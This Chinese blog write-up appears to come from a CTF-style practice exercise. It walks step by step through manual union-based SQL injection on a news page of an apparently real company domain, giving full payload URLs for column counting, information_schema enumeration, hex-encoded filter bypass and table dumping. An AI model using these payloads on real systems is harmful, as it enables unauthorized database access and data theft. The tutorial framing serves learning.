write up:web 实战2-注入--sql注入(手工注入详细版)

在这里插入图片描述

0x00查找注入点

我是通过展开html标签来找注入点的

在这里插入图片描述
注入点

www.kabelindo.co.id/readnews.php?id=28

下面开始盘它!!!

0x01 手动注入

在这里插入图片描述
先确定字段数目
先测试3,没有问题
在这里插入图片描述
再测试6,出错

在这里插入图片描述
再测试5,id=28时,不知道是不是我网的问题加载的很慢,我换成id=1进行测试,发现响应没有问题
在这里插入图片描述

这就确定了字段有5个
可以进一步验证:
在这里插入图片描述
查一下数据库名
在这里插入图片描述
查一下数据库版本
为了防止其他信息的干扰:id=-1
在这里插入图片描述MariaDB数据库管理系统是MySQL的一个分支,主要由开源社区在维护,采用GPL授权许可 MariaDB的目的是完全兼容MySQL,包括API和命令行,使之能轻松成为MySQL的代替品。在存储引擎方面,使用XtraDB(英语:XtraDB)来代替MySQL的InnoDB。–度娘

也可以查查用户
(多练习一下~)

在这里插入图片描述
先切入正题
爆出表名

http://www.kabelindo.co.id/readnews.php?id=-1 union select 1,table_name,3,4,5 from information_schema.tables where table_schema=database() 

在这里插入图片描述
上面的就是表名
这里有一个问题,查出来的表名是乱序的
(我尝试了将现在查出来的表名的最后一个当flag提交并不正确!!)
在这里插入图片描述
这里表名不是很多,可以一个一个去试,但是这比较笨~。
我思考了一下,数据库中的表名是不是字典序呢?

先按表名(即这里的第二个字段)排序,交最后一个试试:

http://www.kabelindo.co.id/readnews.php?id=-1 union select 1,table_name,3,4,5 from information_schema.tables where table_schema=database()  order by 2

在这里插入图片描述

flag{tbnomax}
拿去提交提交,的确就是正确答案~
所以数据库中表名是按字典序排序的猜想貌似得到了验证啊~~
补充:学了数据库的都知道,order默认是升序(ASC),降序为(DESC)。

0x03在这题中多加练习

爆出所有数据库名

http://www.kabelindo.co.id/readnews.php?id=-1 union select 1,group_concat(schema_name),3,4,5  from information_schema.schemata

在这里插入图片描述
group_concat()
是将查询到的结果放到同一个组中

如果数据库名为敏感字段

直接用敏感字段查询不到结果,
可以将数据库名转换为16进制再查询。
(上面数据库名直接使用的database(),所以绕过了敏感字段检查)
‘u9897uwx_kabel’ = ‘0x75393839377577785f6b6162656c’

字符串转16进制的脚本

import binascii
s = 'u9897uwx_kabel' 
str_hex = binascii.b2a_hex(s.encode('utf-8'))
print(str_hex)
#之后加上0x前缀!!!
http://www.kabelindo.co.id/readnews.php?id=-1 union select 1,table_name,3,4,5 from information_schema.tables where table_schema=0x75393839377577785f6b6162656c order by 2

在这里插入图片描述
和database()效果一样,具体原因有待研究。
单独查一下’informtion_schema’=‘0x696e666f726d74696f6e5f736368656d61’,

http://www.kabelindo.co.id/readnews.php?id=-1 union select 1,group_concat(table_name),user(),4 ,5 from information_schema.tables where table_schema=0x696e666f726d6174696f6e5f736368656d61

在这里插入图片描述
查询某张表中的字段
(这里表名也是敏感字段,同理进行16进制编码)
‘tbnomax’ = ‘0x74626e6f6d6178’

http://www.kabelindo.co.id/readnews.php?id=-1 union select 1,column_name,3,4,5 from information_schema.columns where table_name=0x74626e6f6d6178

在这里插入图片描述查找表中的具体内容

此时表名不是敏感字段了

http://www.kabelindo.co.id/readnews.php?id=-1 union select 1,group_concat(nokode,nogrp,nomax),3,4,5 from tbnomax

在这里插入图片描述

这篇 ----- 》 end~

发布了301 篇原创文章 · 获赞 38 · 访问量 3万+

猜你喜欢

转载自blog.csdn.net/tb_youth/article/details/103376038
今日推荐